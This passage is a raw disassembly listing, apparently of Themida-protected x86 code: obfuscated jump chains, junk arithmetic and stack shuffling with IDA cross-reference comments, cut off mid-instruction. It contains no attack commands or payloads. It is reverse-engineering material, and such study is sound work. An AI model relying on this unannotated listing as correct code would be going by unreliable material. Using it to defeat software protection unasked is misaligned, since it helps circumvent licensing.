--------------------------------------------------------------------------- loc_55193D: ; CODE XREF: Themida_:005544B4j xchg edx, [esp] mov esp, [esp] push dword ptr [esp] jmp loc_55879B ; --------------------------------------------------------------------------- loc_55194B: ; CODE XREF: Themida_:005535A6j mov [esp], ebx push ax jmp loc_55A428 ; --------------------------------------------------------------------------- loc_551955: ; CODE XREF: Themida_:0055BFADj pop esi sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx mov ebx, 2 add esi, ebx jmp loc_552357 ; --------------------------------------------------------------------------- loc_55196E: ; CODE XREF: Themida_:0055CC72j pop esp jmp loc_5533C7 ; --------------------------------------------------------------------------- loc_551974: ; CODE XREF: Themida_:00557009j xor edx, [esp] jmp loc_55B7BD ; --------------------------------------------------------------------------- loc_55197C: ; CODE XREF: Themida_:005558DCj jmp loc_551815 ; --------------------------------------------------------------------------- loc_551981: ; CODE XREF: Themida_:00552C14j xchg edi, [esp] pop esp and eax, edi jmp loc_553258 ; --------------------------------------------------------------------------- loc_55198C: ; CODE XREF: Themida_:0055DCB2j add ecx, 4 jmp loc_555299 ; --------------------------------------------------------------------------- loc_551997: ; CODE XREF: Themida_:0055B2E1j mov esp, [esp] add ebx, 2 xchg ebx, [esp] mov esp, [esp] shr dword ptr [esp], cl pushf jmp loc_55C8AB ; --------------------------------------------------------------------------- loc_5519AC: ; CODE XREF: Themida_:00552C6Cj mov ch, 68h push ebx jmp loc_556003 ; --------------------------------------------------------------------------- loc_5519B4: ; CODE XREF: Themida_:0055C124j pop dword ptr [esp] push ebx mov ebx, 4 push ebx mov ebx, 17533079h sub [esp+8], ebx pop ebx add [esp+4], ebx push esi mov esi, 17533079h add [esp+8], esi mov esi, [esp] add esp, 4 mov ebx, [esp] jmp loc_5556EA ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 jmp loc_551D90 ; --------------------------------------------------------------------------- lodsd jmp loc_5586D1 ; --------------------------------------------------------------------------- loc_5519FC: ; CODE XREF: Themida_:00556A05j push 114Ah mov [esp], ecx push ebp push 249512C7h pop ebp add ebp, 37DD3B4Ch jmp loc_552B41 ; --------------------------------------------------------------------------- loc_551A16: ; CODE XREF: Themida_:0055865Dj and ebp, eax pop eax xor ebp, 2F593F85h add eax, ebp pop ebp add eax, ebx sub eax, 2F593E05h push dword ptr [esp] pop ebx push ebx mov ebx, esp add ebx, 4 jmp loc_557C39 ; --------------------------------------------------------------------------- loc_551A3B: ; CODE XREF: Themida_:00555F66j add edi, 4 push ebx mov ebx, 4 add edi, ebx jmp loc_552C13 ; --------------------------------------------------------------------------- loc_551A4E: ; CODE XREF: Themida_:00559003j mov esi, 4117315Ch mov eax, 46606127h sub eax, esi pop esi jmp loc_554C07 ; --------------------------------------------------------------------------- loc_551A60: ; CODE XREF: Themida_:00559A4Cj sub ebx, edi pop edi sub ebx, ecx add ebx, 4C362FA9h jmp loc_55A420 ; --------------------------------------------------------------------------- loc_551A70: ; CODE XREF: Themida_:00553F04j xor eax, 15CB7EE6h jmp loc_558A7D ; --------------------------------------------------------------------------- loc_551A7A: ; CODE XREF: Themida_:00553518j pop ebp mov eax, [esp] add esp, 4 push 37AAh mov [esp], esi mov esi, 319D2BEFh sub eax, 107A366Fh jmp loc_55C020 ; --------------------------------------------------------------------------- loc_551A9B: ; CODE XREF: Themida_:0055C576j push 48E10603h mov edx, [esp] jmp loc_5526B5 ; --------------------------------------------------------------------------- loc_551AA8: ; CODE XREF: Themida_:0055BA84j or eax, 6BBF7B48h add eax, 0DD2B3DE0h mov edx, eax pop eax push ebp push eax mov eax, 2F5550C6h mov ebp, eax pop eax jmp loc_557ABE ; --------------------------------------------------------------------------- loc_551AC4: ; CODE XREF: Themida_:0055AA53j shr eax, 5 sub eax, 83477963h add ebx, eax jmp loc_5567AD ; --------------------------------------------------------------------------- loc_551AD3: ; CODE XREF: Themida_:005548CCj mov ah, 5Dh or dh, ah pop eax jmp loc_55725F ; --------------------------------------------------------------------------- loc_551ADD: ; CODE XREF: Themida_:005550B2j mov ebp, 4 add edx, ebp jmp loc_554F12 ; --------------------------------------------------------------------------- loc_551AE9: ; CODE XREF: Themida_:0055D1FEj pop ebx sub ebx, 4DDB5A59h jmp loc_55AC1C ; --------------------------------------------------------------------------- loc_551AF5: ; CODE XREF: Themida_:00552774j mov cl, bh push dword ptr [esp] jmp loc_5538BB ; --------------------------------------------------------------------------- mov ax, [esp] push ebp push 5C62h jmp loc_55B753 ; --------------------------------------------------------------------------- loc_551B0E: ; CODE XREF: Themida_:0055AF75j add esp, 4 mov ecx, [esp] add esp, 4 jmp loc_551815 ; --------------------------------------------------------------------------- loc_551B1F: ; CODE XREF: Themida_:005543E9j mov dl, 0E9h add al, dl mov edx, [esp] add esp, 4 push edx jmp loc_55C919 ; --------------------------------------------------------------------------- loc_551B32: ; CODE XREF: Themida_:005548D2j add bh, ch jmp loc_558C8F ; --------------------------------------------------------------------------- loc_551B39: ; CODE XREF: Themida_:0055CF38j jmp loc_551815 ; --------------------------------------------------------------------------- loc_551B3E: ; CODE XREF: Themida_:00556C9Bj inc ecx jmp loc_55CA34 ; --------------------------------------------------------------------------- loc_551B44: ; CODE XREF: Themida_:0055792Cj mov [esp], eax jmp loc_55995B ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_55C3FB ; --------------------------------------------------------------------------- loc_551B55: ; CODE XREF: Themida_:005572D4j push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp jmp loc_553B76 ; --------------------------------------------------------------------------- loc_551B64: ; CODE XREF: Themida_:005532C6j push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_55CFBE ; --------------------------------------------------------------------------- lodsb sub al, 58h add al, 0BBh sub al, bl sub al, 0BBh push small 71B3h mov [esp], dx mov dh, 58h push ebx mov bl, 30h jmp loc_55B523 ; --------------------------------------------------------------------------- loc_551B8D: ; CODE XREF: Themida_:00559449j mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov ax, [esp] push esi push 661Eh mov [esp], ebx mov ebx, esp add ebx, 4 push ebp jmp loc_559799 ; --------------------------------------------------------------------------- loc_551BB4: ; CODE XREF: Themida_:0055783Fj movzx cx, al push cx pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_551BC0: ; CODE XREF: Themida_:005566E9j or cl, 0A5h push ebx mov bh, 80h add bh, 0A1h and cl, bh pop ebx sub cl, 37h push edx jmp loc_55C5B3 ; --------------------------------------------------------------------------- loc_551BD5: ; CODE XREF: Themida_:0055503Aj add esp, 4 add edx, 4 add edx, 4 xchg edx, [esp] pop esp push edx mov edx, 27281F2Ch jmp loc_5538F7 ; --------------------------------------------------------------------------- loc_551BF3: ; CODE XREF: Themida_:00554728j add esi, 4 xchg esi, [esp] pop esp jmp loc_55240F ; --------------------------------------------------------------------------- loc_551BFF: ; CODE XREF: Themida_:00552804j pop ebp push ebx push eax push ebx push esi mov esi, 2F1C6E8Ah inc esi xor esi, 35152E2h xor esi, 4474361Eh mov ebx, esi pop esi dec ebx shl ebx, 6 push ecx mov ecx, 1C13173Bh add ecx, 230769B4h jmp loc_55A9FA ; --------------------------------------------------------------------------- loc_551C2E: ; CODE XREF: Themida_:0055520Bj mov ebx, [esp] add esp, 4 mov bl, ah pop eax jmp loc_55C890 ; --------------------------------------------------------------------------- lodsb push ebx mov bl, 6Ah and bl, 6 push dx jmp loc_55D85B ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] push ebp push esp pop ebp push 3920h mov [esp], eax mov eax, 54D164F4h push 230Fh mov [esp], ebp mov ebp, 276D0E04h push esi jmp loc_554FD7 ; --------------------------------------------------------------------------- loc_551C72: ; CODE XREF: Themida_:0055A78Aj or dword ptr [edi+20h], 483D647Bh sub dword ptr [edi+20h], 0FFFFFFFFh xchg esi, [edi+20h] xchg ebx, esi not ebx xchg ebx, esi xor [edi+20h], esi xor esi, [edi+20h] jmp loc_55D116 ; --------------------------------------------------------------------------- loc_551C91: ; CODE XREF: Themida_:00556EB1j push esi mov esi, 6D6D7F46h jmp loc_552793 ; --------------------------------------------------------------------------- loc_551C9C: ; CODE XREF: Themida_:0055C91Cj mov dl, 7Ah push eax push ecx jmp loc_556105 ; --------------------------------------------------------------------------- loc_551CA5: ; CODE XREF: Themida_:00557F03j xchg eax, ebp jmp loc_5578C5 ; --------------------------------------------------------------------------- loc_551CAB: ; CODE XREF: Themida_:00553AC6j pop esp jmp loc_55CAE3 ; --------------------------------------------------------------------------- loc_551CB1: ; CODE XREF: Themida_:005530A4j push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push esp push dword ptr [esp] jmp loc_55A2C1 ; --------------------------------------------------------------------------- loc_551CD0: ; CODE XREF: Themida_:00556EF5j add esp, 4 jmp loc_5595A1 ; --------------------------------------------------------------------------- loc_551CD8: ; CODE XREF: Themida_:00559095j and esi, 764C37B1h or esi, 2233539Ah or esi, 4504DFAh jmp loc_558F17 ; --------------------------------------------------------------------------- loc_551CEF: ; CODE XREF: Themida_:005584BDj xchg edi, [esp] pop esp push 5B4Fh mov [esp], esi push 10D1h mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] add esp, 4 jmp loc_557A6D ; --------------------------------------------------------------------------- loc_551D12: ; CODE XREF: Themida_:005522A3j push edi mov edi, 33BB0F79h mov ecx, 369BB2C2h jmp loc_552590 ; --------------------------------------------------------------------------- loc_551D22: ; CODE XREF: Themida_:005577E9j sub edi, 4 xchg edi, [esp] pop esp mov [esp], edx push dword ptr [esp+4] pop edx jmp loc_55B501 ; --------------------------------------------------------------------------- loc_551D39: ; CODE XREF: Themida_:0055C581j add esp, 4 sub esp, 4 jmp loc_5552EB ; --------------------------------------------------------------------------- unk_551D47 db 0 ; CODE XREF: Themida_:0055A9D2j ; --------------------------------------------------------------------------- fsubr dword ptr [ebx+ecx] add al, 0ABh jmp loc_555CB1 ; --------------------------------------------------------------------------- loc_551D52: ; CODE XREF: Themida_:005563A1j pop esp push small 0FC0h mov [esp], dx mov dl, 0E8h add dl, 7Ch add dl, 0E2h jmp loc_553C67 ; --------------------------------------------------------------------------- loc_551D68: ; CODE XREF: Themida_:00554A71j add ecx, 78ABCD20h jmp loc_55B7A5 ; --------------------------------------------------------------------------- loc_551D73: ; CODE XREF: Themida_:0055D689j mov [esp], ecx mov ecx, 3270387Dh jmp loc_554293 ; --------------------------------------------------------------------------- loc_551D80: ; CODE XREF: Themida_:0055A33Aj add esi, eax pop eax push eax mov eax, esp add eax, 4 jmp loc_552C83 ; --------------------------------------------------------------------------- loc_551D90: ; CODE XREF: Themida_:005519F1j mov [esp], edi jmp loc_559E42 ; --------------------------------------------------------------------------- loc_551D98: ; CODE XREF: Themida_:00557732j push esi push 24135FF8h jmp loc_55A091 ; --------------------------------------------------------------------------- loc_551DA3: ; CODE XREF: Themida_:00559EE5j or edi, 59D9262Fh jmp loc_55AAD8 ; --------------------------------------------------------------------------- loc_551DAE: ; CODE XREF: Themida_:00552C0Ej xor ch, 0E4h and ch, 1Ch push eax mov al, 0D7h jmp loc_5548BB ; --------------------------------------------------------------------------- loc_551DBC: ; CODE XREF: Themida_:0055B35Cj mov ecx, eax jmp loc_5532AC ; --------------------------------------------------------------------------- loc_551DC3: ; CODE XREF: Themida_:0055189Ej mov edi, [esp] jmp loc_556BC1 ; --------------------------------------------------------------------------- loc_551DCB: ; CODE XREF: Themida_:005581F5j push dword ptr [esp+4] push dword ptr [esp] pop esi add esp, 4 pop dword ptr [esp] jmp loc_55D2AB ; --------------------------------------------------------------------------- loc_551DE1: ; CODE XREF: Themida_:0055BCD2j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx mov edx, 4E712A9Ch mov edi, 4E712A9Dh sub edi, 20E67C6Ch sub edi, edx push ebp mov ebp, 20E67C6Ch add edi, ebp pop ebp jmp loc_55CB42 ; --------------------------------------------------------------------------- loc_551E0B: ; CODE XREF: Themida_:0055754Cj push esi push edi pop esi jmp loc_5539DC ; --------------------------------------------------------------------------- loc_551E13: ; CODE XREF: Themida_:005539D7j add esp, 4 xchg edx, [esp] pop esp push dword ptr [esp] pop eax jmp loc_55963B ; --------------------------------------------------------------------------- loc_551E26: ; CODE XREF: Themida_:00556C7Dj xor eax, [esp] xor [esp], eax jmp loc_557115 ; --------------------------------------------------------------------------- loc_551E31: ; CODE XREF: Themida_:00557D38j pop ebp jmp loc_552564 ; --------------------------------------------------------------------------- lodsb jmp loc_557F4C ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_553618 ; --------------------------------------------------------------------------- loc_551E45: ; CODE XREF: Themida_:005576EBj add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push 74A4h mov [esp], ebp jmp loc_5538D9 ; --------------------------------------------------------------------------- loc_551E62: ; CODE XREF: Themida_:00558E95j mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 jmp loc_55CBDA ; --------------------------------------------------------------------------- loc_551E74: ; CODE XREF: Themida_:00552E23j add ch, al pop eax add ch, 84h jmp loc_55C8B0 ; --------------------------------------------------------------------------- db 88h ; ˆ ; CODE XREF: Themida_:0055CB9Bj db 0EBh ; ë db 59h ; Y db 0E9h ; é db 6Eh ; n db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_551E87: ; CODE XREF: Themida_:0055989Dj mov [esp], eax push ebp push 69FF5A39h mov ebp, [esp] add esp, 4 xor ebp, 9600A5C6h mov eax, ebp mov ebp, [esp] add esp, 4 push eax sub dword ptr [esp], 9D8047Ah pop ebx add ebx, 9D8047Ah pop eax sub [edi+24h], ebx push dword ptr [esp] pop ebx jmp loc_55BC52 ; --------------------------------------------------------------------------- loc_551EC3: ; CODE XREF: Themida_:0055B086j xchg edi, [esp] pop esp imul ecx push 0A28h mov [esp], edx push eax pushf jmp loc_55D133 ; --------------------------------------------------------------------------- loc_551ED8: ; CODE XREF: Themida_:00556A17j push dword ptr [esp] pop edx push edi mov edi, esp sub esp, 4 mov [esp], eax mov eax, 4 add edi, 32C9704Dh add edi, eax sub edi, 32C9704Dh pop eax push esi push edi mov edi, 58157839h sub edi, 1 neg edi add edi, 48974FD5h jmp loc_55A1A8 ; --------------------------------------------------------------------------- loc_551F10: ; CODE XREF: Themida_:0055D0C6j add ebp, 4 add ebp, 4 jmp loc_55ABB7 ; --------------------------------------------------------------------------- loc_551F21: ; CODE XREF: Themida_:00559F92j mov edi, eax pop eax push ebp mov ebp, edi jmp loc_558B54 ; --------------------------------------------------------------------------- loc_551F2C: ; CODE XREF: Themida_:00559837j or ebx, edi push dword ptr [esp] pop edi jmp loc_559E0C ; --------------------------------------------------------------------------- loc_551F37: ; CODE XREF: Themida_:0055295Ej mov ebx, [esp] add esp, 4 mov ecx, [esp] jmp loc_554FFD ; --------------------------------------------------------------------------- loc_551F48: ; CODE XREF: Themida_:00555D24j push eax mov eax, esp push 555h mov [esp], esi jmp loc_556D69 ; --------------------------------------------------------------------------- loc_551F58: ; CODE XREF: Themida_:0055B9D7j pop esi or ecx, 73D74D9Dh add ecx, 0C20A025h add edx, 557D2C00h add edx, ecx sub edx, 557D2C00h mov ecx, [esp] add esp, 4 jmp loc_557F7A ; --------------------------------------------------------------------------- loc_551F81: ; CODE XREF: Themida_:00553498j add edx, 0EDB7AE7Ah add ebp, edx pop edx jmp loc_55B6DC ; --------------------------------------------------------------------------- loc_551F8F: ; CODE XREF: Themida_:005548E0j xor esi, 0F77BDFBDh add edi, esi mov esi, [esp] add esp, 4 jmp loc_55358A ; --------------------------------------------------------------------------- locret_551FA2: ; CODE XREF: Themida_:00558CAEj retn ; --------------------------------------------------------------------------- jmp loc_551815 ; --------------------------------------------------------------------------- loc_551FA8: ; CODE XREF: Themida_:0055D606j push edx mov dl, al mov cl, dl pop edx mov eax, [esp] add esp, 4 pop edx jmp loc_5594F5 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_5588C1 ; --------------------------------------------------------------------------- loc_551FC6: ; CODE XREF: Themida_:005527D8j add dword ptr [esp], 4 pop eax jmp loc_55ACEC ; --------------------------------------------------------------------------- loc_551FD0: ; CODE XREF: Themida_:0055CCF6j mov [esp], edx jmp loc_559A72 ; --------------------------------------------------------------------------- loc_551FD8: ; CODE XREF: Themida_:0055AB59j push ebp mov ebp, esp jmp loc_557BAB ; --------------------------------------------------------------------------- loc_551FE0: ; CODE XREF: Themida_:00555A4Bj mov eax, [esp] jmp loc_558CFA ; --------------------------------------------------------------------------- loc_551FE8: ; CODE XREF: Themida_:0055D8A4j push 4C57h mov [esp], ebx mov ebx, esp push esi push ecx mov ecx, 4A3A4C59h not ecx push ebx mov ebx, 46B173Eh and ecx, ebx pop ebx sub ecx, 0B357C68Dh mov esi, ecx pop ecx not esi jmp loc_554209 ; --------------------------------------------------------------------------- loc_552014: ; CODE XREF: Themida_:0055CA27j push 5FD9h mov [esp], ebx mov ebx, 51084248h sub ebx, 615D49E4h not ebx shl ebx, 5 inc ebx or ebx, 45183A5Eh add ebx, 0CB1D62A1h mov edi, ebx pop ebx sub edi, 0CF07E5Bh jmp loc_5549D5 ; --------------------------------------------------------------------------- loc_552047: ; CODE XREF: Themida_:0055CE32j add esi, 4 xchg esi, [esp] pop esp jmp loc_55360E ; --------------------------------------------------------------------------- loc_552056: ; CODE XREF: Themida_:005558A1j mov eax, 5F9A328Bh mov esi, eax pop eax neg esi shr esi, 4 jmp loc_55706E ; --------------------------------------------------------------------------- loc_552068: ; CODE XREF: Themida_:0055212Dj push ebx mov ebx, 7B077F8Eh shr ebx, 5 add ebx, 6CC1ADAh sub edx, ebx pop ebx push ecx mov ecx, 594E4CFEh push edi mov edi, 4B8C66C0h not edi jmp loc_55C956 ; --------------------------------------------------------------------------- loc_55208D: ; CODE XREF: Themida_:00557F90j add eax, edx sub eax, 5E6914D4h mov edx, [esp] jmp loc_554865 ; --------------------------------------------------------------------------- loc_55209C: ; CODE XREF: Themida_:0055217Cj mov edx, esi push dword ptr [esp] pop esi add esp, 4 sub edx, 58F64BBDh sub edx, 48A75FE9h jmp loc_5555D0 ; --------------------------------------------------------------------------- loc_5520B6: ; CODE XREF: Themida_:0055C319j push eax push 881779h pop eax dec eax or eax, 2D2422CAh and eax, 24A0366Fh sub eax, 24A03668h mov edx, eax pop eax add esi, edx mov edx, [esp] jmp loc_55B08B ; --------------------------------------------------------------------------- loc_5520DA: ; CODE XREF: Themida_:00554C8Ej inc eax add eax, 792F6274h push ebp mov ebp, 7A406725h xor ebp, 6568030Dh or ebp, 413826B5h add ebp, 137EF8C0h and eax, ebp pop ebp inc eax push ebx mov ebx, 44D63D74h dec ebx add ebx, 1 shr ebx, 2 jmp loc_559408 ; --------------------------------------------------------------------------- loc_552111: ; CODE XREF: Themida_:005579CFj sub cl, 0A7h xor cl, 15h xor ah, cl pop ecx jmp loc_55A912 ; --------------------------------------------------------------------------- loc_55211F: ; CODE XREF: Themida_:0055C055j add edx, 33EF7C17h add edx, 0AA456D6h sub edx, eax jmp loc_552068 ; --------------------------------------------------------------------------- loc_552132: ; CODE XREF: Themida_:0055D822j xor dl, 39h sub bl, dl pop edx push 9DEh mov [esp], eax mov al, 90h add bl, al push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 push ebx mov ebx, 345060FDh xor ebx, 7A9F1674h dec ebx jmp loc_55C453 ; --------------------------------------------------------------------------- loc_55216D: ; CODE XREF: Themida_:00553B02j xor edx, 5B2868DAh xor edx, 79E07EB6h mov esi, edx pop edx jmp loc_55209C ; --------------------------------------------------------------------------- loc_552181: ; CODE XREF: Themida_:0055297Ej push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 push esi push 2 mov esi, [esp] add esp, 4 add eax, esi pop esi xchg eax, [esp] jmp loc_55CA09 ; --------------------------------------------------------------------------- loc_5521B8: ; CODE XREF: Themida_:0055ACBFj push edx mov edx, esp jmp loc_55A870 ; --------------------------------------------------------------------------- loc_5521C0: ; CODE XREF: Themida_:0055D34Cj push dword ptr [esp] jmp loc_55B2CE ; --------------------------------------------------------------------------- push ecx jmp loc_5596A2 ; --------------------------------------------------------------------------- loc_5521CE: ; CODE XREF: Themida_:0055DAD6j pop ebx sub ax, cx mov cx, [esp] sub esp, 4 jmp loc_555D40 ; --------------------------------------------------------------------------- loc_5521E1: ; CODE XREF: Themida_:0055CA82j pop esp mov [esp], eax jmp loc_553E5C ; --------------------------------------------------------------------------- loc_5521EA: ; CODE XREF: Themida_:005541CCj add ebp, 318A3546h sub ebp, 37B16961h jmp loc_55366F ; --------------------------------------------------------------------------- lodsb add al, 65h jmp loc_55CF84 ; --------------------------------------------------------------------------- loc_552203: ; CODE XREF: Themida_:0055AF92j add esi, 5AB35EA2h jmp loc_55A562 ; --------------------------------------------------------------------------- loc_55220E: ; CODE XREF: Themida_:00554DBCj and esi, 3DFE6BE0h add esi, 0E98ECC7Ah sub edi, esi mov esi, [esp] push eax jmp loc_552B18 ; --------------------------------------------------------------------------- loc_552225: ; CODE XREF: Themida_:00553AD4j add esi, 1F3F15AAh jmp loc_558041 ; --------------------------------------------------------------------------- loc_552230: ; CODE XREF: Themida_:005598A5j mov eax, [esp] jmp loc_55AB5E ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push ebp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], esp push esi push ebx jmp loc_55456D ; --------------------------------------------------------------------------- loc_55225C: ; CODE XREF: Themida_:00554D9Ej mov ebx, 1 jmp loc_55B393 ; --------------------------------------------------------------------------- loc_552266: ; CODE XREF: Themida_:0055BE84j pop edx jmp loc_55CB04 ; --------------------------------------------------------------------------- loc_55226C: ; CODE XREF: Themida_:0055A533j xor eax, 0F96670A5h mov esi, eax pop eax jmp loc_55908F ; --------------------------------------------------------------------------- loc_552279: ; CODE XREF: Themida_:005518ADj add esi, eax pop eax xchg esi, [esp] pop esp add ebx, eax sub ebx, 68164C5Eh push 6637h jmp loc_55236F ; --------------------------------------------------------------------------- loc_552292: ; CODE XREF: Themida_:00553EE8j xchg eax, [esp] jmp loc_55461E ; --------------------------------------------------------------------------- loc_55229A: ; CODE XREF: Themida_:0055797Aj pop edi push 7Ch mov [esp], ecx jmp loc_551D12 ; --------------------------------------------------------------------------- loc_5522A8: ; CODE XREF: Themida_:0055AA0Dj mov [esp], ecx push esp jmp loc_55A554 ; --------------------------------------------------------------------------- loc_5522B1: ; CODE XREF: Themida_:0055473Dj or ah, 0A6h shl ah, 6 jmp loc_5545FA ; --------------------------------------------------------------------------- loc_5522BC: ; CODE XREF: Themida_:0055261Dj xor edi, ebx pop ebx sub edi, 0FFFFFFFFh neg edi xchg ebx, edi not ebx xchg ebx, edi xor edi, 29316262h push edx jmp loc_555052 ; --------------------------------------------------------------------------- loc_5522D9: ; CODE XREF: Themida_:0055BE27j xchg esi, ecx jmp loc_55C097 ; --------------------------------------------------------------------------- loc_5522E0: ; CODE XREF: Themida_:00552FFFj add eax, 27222BC5h sub ecx, 7D43615Ah sub ecx, eax add ecx, 7D43615Ah jmp loc_555FAE ; --------------------------------------------------------------------------- loc_5522F8: ; CODE XREF: Themida_:005549F5j mov edx, esp jmp loc_553167 ; --------------------------------------------------------------------------- loc_5522FF: ; CODE XREF: Themida_:0055CEDEj pop esi sub ebx, 763E4CCFh push 158h mov [esp], ecx mov cl, 5Bh dec cl xchg bh, cl xchg dh, bh not dh xor bh, dh xor dh, bh xor bh, dh xchg bh, cl or cl, 0E3h add cl, 0DDh jmp loc_55AE31 ; --------------------------------------------------------------------------- loc_55232B: ; CODE XREF: Themida_:00557E75j push edx mov edx, 3BED5EF2h mov ebx, 0CC9711CDh add ebx, 5B3D32D0h add ebx, edx jmp loc_55D907 ; --------------------------------------------------------------------------- loc_552343: ; CODE XREF: Themida_:0055365Bj push dword ptr [esp] mov ecx, [esp] add esp, 4 push eax mov eax, esp sub esp, 4 jmp loc_55D8DB ; --------------------------------------------------------------------------- loc_552357: ; CODE XREF: Themida_:00551969j pop ebx jmp loc_55C018 ; --------------------------------------------------------------------------- loc_55235D: ; CODE XREF: Themida_:0055BA7Dj push 3B2748D2h pop ebp jmp loc_55ACA3 ; --------------------------------------------------------------------------- loc_552368: ; CODE XREF: Themida_:0055CA0Ej push edi push esp jmp loc_55D4E4 ; --------------------------------------------------------------------------- loc_55236F: ; CODE XREF: Themida_:0055228Dj mov [esp], eax jmp loc_551815 ; --------------------------------------------------------------------------- loc_552377: ; CODE XREF: Themida_:005548B6j add edi, ebp pop ebp add edi, 91E04C7Dh add edx, edi pop edi jmp loc_55A470 ; --------------------------------------------------------------------------- loc_552388: ; CODE XREF: Themida_:0055C5E0j push edi push esi mov esi, 6A2C158Ah mov edi, esi pop esi sub edi, 0F781F65Eh sub ebx, edi pop edi add ebx, edi add ebx, 72AA1F2Ch pop edi push dword ptr [eax] jmp loc_551815 ; --------------------------------------------------------------------------- loc_5523AB: ; CODE XREF: Themida_:00556908j dec dl add dl, 0E6h xor dl, 13h jmp loc_5576B5 ; --------------------------------------------------------------------------- loc_5523B8: ; CODE XREF: Themida_:00554D14j xor edi, 449179D3h add ecx, edi pop edi sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_554B66 ; --------------------------------------------------------------------------- loc_5523CD: ; CODE XREF: Themida_:005571D0j sub esp, 4 jmp loc_55920A ; --------------------------------------------------------------------------- loc_5523D8: ; CODE XREF: Themida_:00554DDEj xor ebx, [esp] mov esp, [esp] jmp loc_553EB4 ; --------------------------------------------------------------------------- loc_5523E3: ; CODE XREF: Themida_:005555F1j push edx mov edx, 6F000A60h dec edx push ebx jmp loc_55688B ; --------------------------------------------------------------------------- loc_5523F0: ; CODE XREF: Themida_:0055CE0Ej push dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_556E8D ; --------------------------------------------------------------------------- loc_552401: ; CODE XREF: Themida_:005540DBj mov ebx, 3270387Dh xor [esp+4], ebx jmp loc_55A569 ; --------------------------------------------------------------------------- loc_55240F: ; CODE XREF: Themida_:00551BFAj xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] mov ax, [esp] jmp loc_55CFE9 ; --------------------------------------------------------------------------- loc_552424: ; CODE XREF: Themida_:0055183Aj sub esi, ebx jmp loc_559902 ; --------------------------------------------------------------------------- loc_55242B: ; CODE XREF: Themida_:0055C4B0j pop ebp add eax, ecx pop ecx add eax, 4 xchg eax, [esp] pop esp movzx ecx, al push 5B86h mov [esp], ecx jmp loc_551815 ; --------------------------------------------------------------------------- loc_552448: ; CODE XREF: Themida_:005591D0j neg dl dec dl push ecx mov ch, 0B8h shl ch, 1 not ch jmp loc_55D597 ; --------------------------------------------------------------------------- loc_552458: ; CODE XREF: Themida_:00554679j and esi, 4FF434CBh not esi xor esi, 0EB96EB20h sub eax, 5008264Ch add eax, esi sub esp, 4 mov [esp], ebp mov ebp, 5008264Ch add eax, ebp jmp loc_55C711 ; --------------------------------------------------------------------------- loc_552482: ; CODE XREF: Themida_:00553FBEj jmp loc_551815 ; --------------------------------------------------------------------------- loc_552487: ; CODE XREF: Themida_:0055C5E7j add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], eax xor [esp], ebp xor ebp, [esp] xor [esp], ebp jmp loc_55374B ; --------------------------------------------------------------------------- loc_5524A8: ; CODE XREF: Themida_:0055BCE4j add esi, ebx jmp loc_556051 ; --------------------------------------------------------------------------- loc_5524AF: ; CODE XREF: Themida_:0055CF12j shr edi, 4 sub edi, 0FFFFFFFFh add edi, 1 xor edi, 30993BEDh xor edi, 0CA73FFh sub ebx, edi mov edi, [esp] add esp, 4 pop dword ptr [eax] jmp loc_553EED ; --------------------------------------------------------------------------- loc_5524DC: ; CODE XREF: Themida_:00554D31j inc edi jmp loc_558010 ; --------------------------------------------------------------------------- loc_5524E2: ; CODE XREF: Themida_:00559085j jmp loc_551815 ; --------------------------------------------------------------------------- loc_5524E7: ; CODE XREF: Themida_:00553BA2j push eax mov eax, esp add eax, 4 jmp loc_5536AD ; --------------------------------------------------------------------------- loc_5524F4: ; CODE XREF: Themida_:0055DA27j mov ebx, ebp pop ebp jmp loc_557FA0 ; --------------------------------------------------------------------------- loc_5524FC: ; CODE XREF: Themida_:00556A7Dj add eax, 4 add eax, 4 xchg eax, [esp] pop esp and eax, esi push dword ptr [esp] pop esi add esp, 4 or eax, eax jnz loc_557404 push ecx mov ecx, esp push edi mov edi, 4 add ecx, edi pop edi push ebx jmp loc_552E3E ; --------------------------------------------------------------------------- loc_55252E: ; CODE XREF: Themida_:0055746Fj pop edx jmp loc_553931 ; --------------------------------------------------------------------------- loc_552534: ; CODE XREF: Themida_:0055B147j mov esp, [esp] mov [esp], ebx push 6CB9h mov [esp], esi push ebx push ebp push esi push 45233C47h jmp loc_558F55 ; --------------------------------------------------------------------------- loc_55254F: ; CODE XREF: Themida_:0055CB49j or eax, eax jz loc_553004 push 6C82h mov [esp], ebx jmp loc_553F58 ; --------------------------------------------------------------------------- loc_552564: ; CODE XREF: Themida_:00551E32j xchg esi, [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_552574: ; CODE XREF: Themida_:00558755j push eax pushf jmp loc_551815 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push edx sub esp, 4 jmp loc_55615E ; --------------------------------------------------------------------------- loc_552590: ; CODE XREF: Themida_:00551D1Dj sub ecx, 75EE0EE4h jmp loc_55862D ; --------------------------------------------------------------------------- loc_55259B: ; CODE XREF: Themida_:0055A64Bj mov esi, 645D1A45h mov 